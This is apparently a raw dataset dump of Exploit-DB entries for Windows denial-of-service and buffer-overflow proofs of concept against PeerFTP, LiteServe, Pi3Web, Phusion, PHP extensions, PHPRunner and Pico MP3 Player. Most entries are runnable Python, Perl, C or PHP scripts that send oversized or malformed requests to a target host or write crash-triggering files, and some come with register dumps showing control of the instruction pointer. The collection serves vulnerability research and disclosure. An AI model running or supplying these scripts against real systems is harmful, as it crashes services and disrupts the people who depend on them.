deardaniel/secdata-raw huggingface dataset:
Exploit-DB #18628
Description: PeerFTP Server 4.01 - Remote Crash (PoC)
Type: dos
Platform: windows
Date: 2012-03-20
Author: localh0t

Exploit:
#!/usr/bin/python

# PeerFTP Server <=v4.01 Remote Crash PoC
# written by localh0t
# Date: 19/03/12
# Contact: mattdch0@gmail.com
# Follow: @mattdch
# www.localh0t.com.ar

from socket import *
import sys, struct, os

if (len(sys.argv) < 3):
	print "\nPeerFTP Server <=v4.01 Remote Crash PoC"
        print "\n	Usage: %s <host> <port> \n" %(sys.argv[0])
	sys.exit()


def checkDefaultUser(username,password):
	if username == '':
		username = "anonymous"
	if password == '':
		[CREDENTIAL_REDACTED].com"
	else:
		pass
	return username,password

def createUser():
	username = raw_input("[!] Insert username (default: anonymous)> ")
	password = raw_input("[!] Insert password (default: anonymous@test.com)> ")
	return checkDefaultUser(username,password)

(username,password) = createUser()

print "\n[!] Connecting to %s ..." %(sys.argv[1])

# connect to host
sock = socket(AF_INET,SOCK_STREAM)
sock.connect((sys.argv[1],int(sys.argv[2])))
sock.recv(1024)

print "[!] USERNAME: " + username

sock.send("USER " + username + "\r\n")
sock.recv(1024)

print "[!] PASSWORD: " + password

sock.send("PASS " + password + "\r\n")
sock.recv(1024)

print "[!] Sending payload..."

payload = "RETR " + ("X" * 1000) + "\r\n"

for i in range (1, 5):
	sock.send(payload)

sock.close()
print "[!] Exploit succeed. Target should crashed."
sys.exit()
Exploit-DB #7693
Description: Perception LiteServe 2.0.1 - 'user' Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-01-07
Author: Houssamix

Exploit:
#!/bin/perl

# LiteServe 2.81 Remote buffer overflow Poc (user)
# download : http://www.cmfperception.com/liteserve/pls2_81.exe

# -------------------------------------
# EAX 00000001
# ECX 7FFDF000
# EDX 41414155
# EBX 010ED8EC ASCII "AAAAAAAAAAAA"
# ESP 0012E414
# EBP 0012E45C
# ESI 41414141
# EDI 41414155
# EIP 7C911010 ntdll.7C911010

# Access violation When Reading [41414169]
# --------------------------------------

use IO::Socket;
print "[+] Author : HouSSaMix \n";
print "[+] LiteServe 2.81 Remote buffer overflow Poc \n";

if (@ARGV < 2)
{
 print "[*] Usage: hsmx.pl host port\n";
 print "[*] Exemple: hsmx.pl 127.0.0.1 21\n";
 exit;
}

$ip = $ARGV[0];
$port = $ARGV[1];

$cc = "\x41" x 2567  ;

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n";
print "\n[+] Connecting: Ok!\n";
print "[+] Sending bad request...\n";
print $socket "USER $cc\n";
sleep(5);
close($socket);

print "[+] bad request sent \n";

# milw0rm.com [2009-01-07]
Exploit-DB #31338
Description: Perforce Server 2007.3 - Multiple Remote Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2008-03-05
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/28108/info

Perforce Server is prone to multiple remote denial-of-service vulnerabilities.

An attacker can exploit these issues to crash the affected application or cause excessive memory to be consumed, denying service to legitimate users.

These issues affect Perforce Server 2007.3; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31338.zip
Exploit-DB #24918
Description: Personal File Share 1.0 - Denial of Service
Type: dos
Platform: windows
Date: 2013-04-05
Author: npn

Exploit:
#!/usr/bin/python

#Exploit Title: Personal File Share 1.0 DoS
#Date: 2nd April 2013
#Exploit Author: npn
#Vendor Homepage: http://www.srplab.com/
#Software Link: http://download.cnet.com/Personal-File-Share/3000-18506_4-75893424.html
#Version: 1.0                
#Tested on: Windows XP SP3 English

import socket, sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("192.168.32.129", 8080))

buffer = "GET /"
buffer += "A"*5000
buffer += " HTTP/1.1\r\n\r\n"

sock.send(buffer)

sock.close()
Exploit-DB #19563
Description: Photodex ProShow Producer 5.0.3256 - Buffer Overflow
Type: dos
Platform: windows
Date: 2012-07-03
Author: Julien Ahrens

Exploit:
Inshell Security Advisory
http://www.inshell.net/


1. ADVISORY INFORMATION
-----------------------
Product:        Photodex ProShow Producer
Vendor URL:     www.photodex.com
Type:           Stack-based Buffer Overflow [CWE-121]
Date found:     2012-06-06
Date published: 2012-07-02
CVSSv2 Score:   6,9 (AV:L/AC:M/Au:N/C:C/I:C/A:C)
CVE:            -


2. CREDITS
----------
This vulnerability was discovered and researched by Julien Ahrens from
Inshell Security.


3. VERSIONS AFFECTED
--------------------
Photodex ProShow Producer v5.0.3256, older versions may be affected too.


4. VULNERABILITY DESCRIPTION
----------------------------
A Local Buffer Overflow Vulnerability has been found on the Photodex
ProShow Producer v5.0.3256.

When starting, the application loads the contents of the "load" file
from its application directory. The application does not validate the
length of the string loaded from the "load" file before passing it to a
buffer, which leads to a Buffer Overflow.

An attacker needs to force the victim to place an arbitrary "load" file
into the application directory.


5. PROOF-OF-CONCEPT (CODE / Exploit)
------------------------------------
#!/usr/bin/python
file="load"

junk1="\x41" * 9848
boom="\x42\x42\x42\x42"
junk2="\x43" * 100

poc=junk1 + boom + junk2

try:
    print "[*] Creating exploit file...\n";
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!";
except:
    print "[!] Error while creating file!";


For further Screenshots and/or PoCs visit:
http://security.inshell.net/advisory/30


6. SOLUTION
-----------
None


7. REPORT TIMELINE
------------------
2012-06-06: Initial notification sent to vendor
2012-06-12: No response, second notification sent to vendor
2012-06-20: No response, third notification sent to vendor
2012-06-20: Vendor response, sent to appropriate departments
2012-07-02: No further contact by vendor
2012-07-02: Full Disclosure


8. REFERENCES
-------------
http://security.inshell.net/advisory/30
Exploit-DB #4227
Description: PHP 5.2.3 - 'PHP_gd2.dll' imagepsloadfont Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2007-07-26
Author: r0ut3r

Exploit:
<?php
/*
PHP imagepsloadfont Buffer Overflow Vulnerability

Discovered & Coded by: r0ut3r (writ3r [at] gmail.com)

Vulnerable dll: php_gd2.dll
- Tested on WinXP SP0, PHP/5.2.3, Apache 2.2.4

The argument given was A * 9999

Access violation when reading [41414151]
----------------------------------------

Registers:
----------
EAX 77F76238 ntdll.77F76238
ECX 77C2AB33 MSVCRT.77C2AB33
EDX 01543260 php_gd2.01543260
EBX 41414141
ESP 00C0FD58
EBP 00C0FD90
ESI 41414141
EDI 00222738
EIP 77F53284 ntdll.77F53284
C 0  ES 0023 32bit 0(FFFFFFFF)
P 0  CS 001B 32bit 0(FFFFFFFF)
A 1  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 0038 32bit 7FFDE000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010212 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty +UNORM 7D18 [PII_REDACTED]
ST1 empty +UNORM 2402 0012BCD0 00000001
ST2 empty +UNORM 17CD 77F516F5 FFFFFFFF
ST3 empty 0[PII_REDACTED]750232330e-4933
ST4 empty +UNORM 0[PII_REDACTED]C 77D43A5F
ST5 empty +UNORM 0002 77D489FF 00000000
ST6 empty 10[PII_REDACTED]0000000
ST7 empty 10[PII_REDACTED]0000000
               3 2 1 0      E S P U O Z D I
FST 4000  Cond 1 0 0 0  Err 0 0 0 0 0 0 0 0  (EQ)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1

Proof of concept below: 
*/

if (!extension_loaded("gd"))
	die("PHP_GD2 extension not loaded!");

$buff = str_repeat("A",9999);

$res = imagepsloadfont($buff);
echo "boom!!\n";
?>

# milw0rm.com [2007-07-26]
Exploit-DB #4304
Description: PHP 5.2.3 - PHP_ntuser ntuser_getuserlist() Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2007-08-23
Author: shinnai

Exploit:
<?php
//PHP 5.2.3 php_ntuser ntuser_getuserlist() Local Buffer Overflow
//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org

//greetz to BrainBugger Crew
//http://www.brainbugger.altervista.org/

//Bug discovered with "Footzo" (thanks to rgod) modified.

//To download Footzo:
//original link: http://godr.altervista.org/index.php?mod=Download/useful_tools#footzo.rar
//alternative: http://www.shinnai.altervista.org/index.php?mod=Download/Utilities#footzo.rar

//also theese are vulnerable:
//ntuser_getusergroups <-- DoS, we control EAX
//ntuser_getdomaincontroller <-- DoS, we control EAX
//ntuser_getuserinfo <-- BoF, we control EIP 00410041

//This is the content of registers:

//EAX FFFFFFFE
//ECX 00000754
//EDX 00000041
//EBX 00223D18
//ESP 00C0FB34 UNICODE "CCC... x 100"
//EBP 00C0FBD0 UNICODE "CCC + DDD... x 100"
//ESI 011AC4A8
//EDI 011ADC00
//EIP 00410041

$buff    = str_repeat("\x41", 250);

$get_EIP = "\x42\x42";

$get_ESP = str_repeat("\x43", 100);

$get_EBP = str_repeat("\x44", 100);

ntuser_getuserlist($buff.$get_EIP.$get_ESP.$get_EBP);
?>

# milw0rm.com [2007-08-23]
Exploit-DB #19963
Description: PHP 6.0 - 'openssl_verify()' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2012-07-20
Author: Yakir Wizman

Exploit:
<?php
// ==================================================================================
//
// PHP 6.0 openssl_verify() Local Buffer Overflow PoC
//
// Tested on WIN XP, Apache, PHP 6.0dev. Local Buffer Overflow.
//
// Local Buffer Overflow
// Author: Pr0T3cT10n <pr0t3ct10n@gmail.com>
//
// ==================================================================================
//
// REGISTERS:
// EAX 000003D0, ECX 00BBDB28, EDX 00BBDAD8
// EBX 00BBC940, ESP 0012FB5C UNICODE "AAA...."
// ESI 00BBC940, EDI 00831D00, EBP 0012FBF0 UNICODE "AAA...."
// EIP 00410041
//
// ==================================================================================

$buffer = str_repeat("A", 1000);
openssl_verify(1,1,$buffer);
?>
Exploit-DB #888
Description: phpDEV5 - System-Call Local Denial of Service
Type: dos
Platform: windows
Date: 2005-03-17
Author: Ali7

Exploit:
------------------------------------------------------------------------
# PHPDev5 <== Apache Server Local Denial-of-Service PoC
# By : Ali7
# e-mail : ali7@hotmail.co.uk
# date : 16-03-2k5
# greetz : our group :P
 

>Target : PHPDev 5
>URL : www.firepages.com.au - http://sourceforge.net/projects/phpdev5/
>Type : PHP/Apache/MySQL Server..
..
 
>>PoC Sample :
 
Save this code as .php or .php3 file..
 
//start
 
<?

system($Ali7);

?>
 
//end

# milw0rm.com [2005-03-17]
Exploit-DB #46824
Description: PHPRunner 10.1 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-10
Author: Victor Mondragón

Exploit:
#Exploit Title:  PHPRunner 10.1 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-09
#Vendor Homepage: https://xlinesoft.com/
#Software Link: https://xlinesoft.com/phprunner/download.htm
#Tested Version: 10.1
#Tested on: Windows 7 Service Pack 1 x64 

#Steps to produce the crash:
#1.- Run python code: PHPRunner_10_1.py
#2.- Open PHPRunner_10_1.txt and copy content to clipboard
#3.- Open PHPRunner
#4.- Click on "Next" > Select "Microsoft Access" database > click on "Next"
#5.- Click on "Create new database" > click on "Create table"
#6.- Select "Create dashboard" > in "Name" field Paste Clipboarad
#7.- Click on "Ok"
#8.- Crashed

cod = "\x41" * 10000
f = open('PHPRunner_10_1.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #21293
Description: Phusion WebServer 1.0 - Long URL Denial of Service
Type: dos
Platform: windows
Date: 2002-02-16
Author: Alex Hernandez

Exploit:
source: https://www.securityfocus.com/bid/4118/info

Phusion Webserver is a commercial HTTP server that runs on Microsoft Windows 9x/NT/2000 operating systems.

It is possible for a remote attacker to deny service to legitimate users of the service by submitting an excessively long web request (approximately 3000+ bytes).

It should be noted that this issue is due to a remotely exploitable buffer overflow condition. 

#!/usr/bin/perl
#
# Simple script to send a long 'A^s' command to the server, 
# resulting in the server crashing.
#
# Phusion Webserver v1.0 proof-of-concept exploit.
# By Alex Hernandez <al3xhernandez@ureach.com> (C)2002.
#
# Thanks all the people from Spain and Argentina.
# Special Greets: White-B, Pablo S0r, Paco Spain, L.Martins, 
# G.Maggiotti & H.Oliveira.
# 
#
# Usage: perl -x Phusion_DoS.pl -s <server>
#
# Example: 
#
# perl -x Phusion_DoS.pl -s 10.0.0.1
# 
# Crash was successful !
#

use Getopt::Std;
use IO::Socket;

print("\nPhusion Webserver v1.0 DoS exploit (c)2002.\n");
print("Alex Hernandez al3xhernandez\@ureach.com\n\n");

getopts('s:', \%args);
if(!defined($args{s})){&usage;}

($serv,$port,$def,$num,$data,$buf,$in_addr,$paddr,$proto);

$def = "A";
$num = "3000";
$data .= $def x $num;
$serv = $args{s};
$port = 80;
$buf = "GET /cgi-bin/$data /HTTP/1.0\r\n\r\n";


$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");

socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");
connect(S, $paddr) ||die ("Error: $!");
select(S); $| = 1; select(STDOUT);
print S "$buf";


print("\nCrash was successful !\n\n");

sub usage {die("\n\nUsage: perl -x $0 -s <server>\n\n");}
Exploit-DB #22
Description: Pi3Web 2.0.1 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2003-04-29
Author: aT4r

Exploit:
/* Pi3Web 2.0.1 DoS - Pr00f of concept.
*
* Vulnerable systems: Pi3Web 2.0.1 (maybe others)
* Vendor: www.johnroy.com/pi3  - http://pi3web.sourceforge.net/
* Patch: no yet.
*
* Info: Pi3Web Server is vulnerable to a denial of Service.
* when a malformed HTTP Request is done the webserver hangs 
* due to an stack overflow. GET /////////..[354]../////////
*
* Found by aT4r@3wdesign.es  04/26/2003
* Compiled with: lcc-win32 v3.3.
*
*/

#pragma comment (lib,"ws2_32")
#include <stdio.h>
#include <windows.h>
#include <winsock2.h>
#include <string.h>

char evilbuffer[1024],evilrequest[512],ip[15];
short port=80;


int isalive(int OPT)
{
	struct sockaddr_in haxorcitos;
	int fd;

	haxorcitos.sin_port = htons(port);
	haxorcitos.sin_family = AF_INET;
	haxorcitos.sin_addr.s_addr = inet_addr(ip);

	if ((fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
	{
		printf(" [-] Unable to Create Socket\n\n");
		return(0);
	}
	if (connect(fd,( struct sockaddr *)&haxorcitos,sizeof(haxorcitos)) == -1)
	{
		if (OPT==0)
			printf(" [+] Exploit Success. Remote webserver shutdown\n");
		else
			printf(" [-] Unable to connect\n\n");
		return(0);
	}
	if (OPT==0)
	{
		printf(" [-] Exploit Failed. System Patched?\n\n");
	}
	else
	{
		send(fd,evilbuffer, strlen(evilbuffer),0);
		printf(" [+] Data Sent. Now Checking Host\n");
		closesocket(fd);

	}
return(1);
}


void usage(void)
{
	printf(" [+] Usage: PiDoS.exe HOST [port]\n\n");	exit(1);
}


void main(int argc,char *argv[])
{
	WSADATA ws;

	if	(WSAStartup( MAKEWORD(1,1), &ws )!=0)
	{
		printf(" [+] WSAStartup() error\n");
		exit(0);
	}

	printf("\n . .. ...:Pi3Web Denial of Service (aT4r@3wdesign.es) :... 
..\n\n");

	if ((argc!=2) && (argc!=3))
		usage();

	strcpy(ip,argv[1]);
	if (argc==3) port=atoi(argv[2]);

	memset(evilrequest,0,512);
	memset(evilbuffer,0,1024);
	memset(evilrequest,'/',354);
	//sprintf(evilbuffer, "GET %s\r\n",evilrequest);
	sprintf(evilbuffer,"GET %s HTTP/1.0\r\nUser-Agent: foo\r\nHost: 
%s\r\n\r\n\r\n",evilrequest,argv[2]);

	if (isalive(1))
		{ sleep(1000); isalive(0);}

}

// milw0rm.com [2003-04-29]
Exploit-DB #22587
Description: Pi3Web 2.0.1 - GET Denial of Service
Type: dos
Platform: windows
Date: 2003-04-26
Author: Angelo Rosiello

Exploit:
// source: https://www.securityfocus.com/bid/7555/info

It has been reported that Pi3Web server is prone to a denial of service vulnerability. Reportedly, when a malicious GET request is sent to the Pi3Web server the server will fail. It should be noted that the Unix version has been reported vulnerable, it is not currently known if other platforms are affected.

/*
 * Unix Version of the Pi3web DoS.
 * ----------------------------------------------------------
 * Info: Pi3Web Server is vulnerable to a denial of Service.
 * ----------------------------------------------------------
 * VULNERABILITY:
 * GET //// <- 354
 *
 * The bug was found by aT4r@3wdesign.es 04/26/2003
 * www.3wdesign.es Security
 * ----------------------------------------------------------
 * Unix Version Credits.
 * AUTHOR : Angelo Rosiello
 * CONTACT: angelo@rosiello.org, angelo@dtors.net
 *
*/

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <string.h>
#include <assert.h>

void addr_initialize();

int main(int argc, char **argv)
{
  int i, port, sd, rc;
  char buffer[355];
  char *get = "GET";
  char packet[360];
  struct sockaddr_in server;

  if(argc > 3 || argc < 2)
  {
    printf("USAGE: %s IP PORT\n", argv[0]);
    printf("e.g. ./pi3web-DoS 127.0.0.1 80\n");
    exit(0);
  }
  if(argc == 2) port = 80;
  else port = atoi(argv[2]);

  for(i = 0; i < 355; i++) buffer[i] = '/'; //Build the malformed request
  sprintf(packet, "%s %s\n", get, buffer);
  addr_initialize(&server, port, (long)inet_addr(argv[1]));

  sd = socket(AF_INET, SOCK_STREAM, 0);
  if(sd < 0) perror("Socket");
  assert(sd >= 0);
  rc = connect(sd, (struct sockaddr *) &server, sizeof(server));
  if(rc != 0) perror("Connect");
  assert(rc == 0);
  printf("\n\t\t(c) 2003 DTORS Security\n");
  printf("\t\tUnix Version DoS for Pi3web\n");
  printf("\t\tby Angelo Rosiello\n\n");
  write(sd, packet, strlen(packet)); //Caput!
  printf("Malformed packet sent!\n");
  close(sd);

  printf("Checking if the server crashed...\n");
  sleep(3);

  sd = socket(AF_INET, SOCK_STREAM, 0);
        if(sd < 0) perror("Socket");
  assert(sd >= 0);
  rc = connect(sd, (struct sockaddr *) &server, sizeof(server));
  if(rc != 0)
  {
    printf("The server is dead!\n");
    exit(0);
  }
  else if(rc == 0) printf("The server is not vulnerable!\n");
  close(sd);
  exit(0);
}

void addr_initialize (struct sockaddr_in *address, int port, long IPaddr)
{
        address -> sin_family = AF_INET;
        address -> sin_port = htons((u_short)port);
        address -> sin_addr.s_addr = IPaddr;
}

/*EOF*/
Exploit-DB #22718
Description: Pi3Web 2.0.2 - SortName Buffer Overflow
Type: dos
Platform: windows
Date: 2003-06-02
Author: posidron

Exploit:
// source: https://www.securityfocus.com/bid/7787/info

Pi3Web is prone to a buffer overflow vulnerability. This is due to insufficient bounds checking of URI parameters. This could be exploited to cause a denial of service or possibly to execute malicious instructions.

This issue was reported for Pi3Web 2.0.2 Beta 1 on Windows platforms. 

/*********************************************************************
*
*     Denial of Service Attack against Pi3 Web Server v2.0.2 05/2003
*
*
*    Tripbit Security Development
*    ----------------------------
*
*    Author: posidron
*
*    Contact
*    [-] Mail: posidron@tripbit.org
*    [-] Web: http://www.tripbit.org
*    [-] Forum: http://www.tripbit.org/wbboard
*       [-] IRC: irc.euirc.net 6667 #tripbit
*
*
*    Greets: Rushjo, Tec, STeFaN, Havoc][, MisterMoe
*     Special thx: PeaceTreaty (securecrew.net)
*
*********************************************************************/

#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

int main(int argc, char *argv[])
{
    int port, sockfd;
    struct sockaddr_in server;
    struct hostent *host;

    char sendstring[1024];

    strcpy(sendstring,"GET /</?SortName=A HTTP/1.0\n\n");

    if(argc < 3)
    {
        printf("Usage: %s [target] <port>\n",argv[0]);
        exit(0);
    }

    port = atoi(argv[2]);

    host = gethostbyname(argv[1]);
    if(host == NULL)
    {
        printf("Connection failed!...\n");
        exit(0);
    }

    server.sin_family = AF_INET;
    server.sin_port = htons(port);
    server.sin_addr.s_addr = inet_addr((char*)argv[1]);

    if( (sockfd = socket(AF_INET,SOCK_STREAM,0)) < 0)
    {
        printf("Can't start socket()!\n");
        exit(0);
    }

    if(connect(sockfd,(struct sockaddr*)&server,sizeof(server)) < 0)
    {
        printf("Can't connect!\n");
        exit(0);
    }

    printf("Dos against Pi3 Web Server v2.0.2\n");

    write(sockfd,sendstring,strlen(sendstring));

    printf("Attack done!...\n");

    close(sockfd);
}
Exploit-DB #7109
Description: Pi3Web 2.0.3 - 'ISAPI' Remote Denial of Service
Type: dos
Platform: windows
Date: 2008-11-13
Author: Hamid Ebadi

Exploit:
Pi3Web ISAPI DoS vulnerability
 
Discovered by: Hamid Ebadi
CSIRT Team Member
Amirkabir University CSIRT Laboratory (APA Laboratory)
 
autcert@aut.ac.ir
 
 
Introduction
Pi3Web is a free, multithreaded, highly configurable and extensible HTTP server and development environment for cross platform internet server development and deployment. Pi3web is vulnerable to a denial of service (DoS) vulnerability whenever an invalid ISAPI module is requested from server.
 
Vulnerable version
Pi3Web <=2.0.3
 
Vulnerability
By requesting the following URL from pi3web the server crashes:
http://WEB_SITE/isapi/users.txt
 
EnhPi3.exe -Bad Image
The application or DLL c:\Pi3Web\Isapi\users.txt is not a valid Windows image. Please check this against your installation diskette The vulnerability is caused.
 
The crash is due to insufficient checks for incoming requests. Whenever a file in ISAPI directory, which is not a valid DLL is requested, the server tries to load it into memory as a DLL library and a crash happens.
 
Workaround
Before an official patch is released, use one of the following workarounds to mitigate the problem:
 
1. Disable ISAPI mapping in server configuration in Server Admin > Mapping Tab.
2. Delete the users.txt, install.daf and readme.daf in ISAPI folder.
 
 
Credit
This vulnerability has been discovered by Hamid Ebadi from Amirkabir university CSIRT laboratory.
 
autcert@aut.ac.ir
https://www.ircert.cc

# milw0rm.com [2008-11-13]
Exploit-DB #11228
Description: Pico MP3 Player 1.0 - '.mp3' / '.pls' Local Crash (PoC)
Type: dos
Platform: windows
Date: 2010-01-22
Author: cr4wl3r

Exploit:
#!/usr/bin/perl
#########################################################
## Usage-->>file created-->>load file-->>b00m.mp3 >>>BOOM
#########################################################


print "#####################################################\n";
print "[!] Pico MP3 Player 1.0 (.mp3) Local Crash PoC\n";
print "\n";
print "[!] Author: cr4wl3r\n";
print "[!] Mail: cr4wl3r[!]linuxmail.org\n";
print "#####################################################\n";


my $boom = "A" x 1337;
my $filename = "b00m.mp3";
open (FILE,">$filename");
print FILE "$boom";
print "\nFile successfully created!\n";



#!/usr/bin/perl
#########################################################
## Usage-->>file created-->>load file-->>b00m.pls >>>BOOM
#########################################################


print "#####################################################\n";
print "[!] Pico MP3 Player 1.0 (.pls) Local Crash PoC\n";
print "\n";
print "[!] Author: cr4wl3r\n";
print "[!] Mail: cr4wl3r[!]linuxmail.org\n";
print "#####################################################\n";


my $boom = "A" x 1337;
my $filename = "b00m.pls";
open (FILE,">$filename");
print FILE "$boom";
print "\nFile successfully created!\n";